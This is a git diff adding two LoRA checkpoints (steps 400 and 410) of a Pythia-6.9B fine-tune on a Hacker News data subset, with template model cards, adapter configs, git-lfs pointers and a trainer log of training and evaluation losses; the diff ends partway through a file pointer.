+size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4e81b2103f5ea297dce158b21a047a433a64202a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e9fa666b9b5de0549978ac38d63e64314162eed77ba305a9e66f6a3dace052f3 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d1297cbf3278378c8fbb329f9fefb5770352899e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7822cc49c32ec62f735256ef0b336f047b18b08265f187f255ecba512433c361 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..d06e3c475517e0d14c13a6ccad84a3f20110949a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:96f529f9856ab8a411ac6b8078e33cfc18c0159c4947cd8cac8e1238fc1754c7 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..f91719d8a1b8836b7155587d155c2b2cfc9c7e48 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bbe59d4638e3afc1c337d3e4814ea99d33c22eec7bbc39984af69898855ffb2b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8c251ee36f2cd95255b137500f6e93dd48e7065c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/trainer_state.json @@ -0,0 +1,633 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.333333333333333, + "eval_steps": 10, + "global_step": 400, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.5544287944704e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..0956c3670f0e0911e3b28473a0b0a3ca7082df6a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:68c2a7f77ad80b2f3ac412205b2fa189b7c5ba09bdfc49a780f36f80b5902342 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..50b8de30afc0c510c99ccca0d2052b10b1cfef3e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f45628888c426ca7e5810dd1607b0775c00cfd39a59943140945a5403b495b6f +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..090a1de878697aa3e6255ed23ff26ce6e561a9fa --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/rng_state.pth @@ -0,0 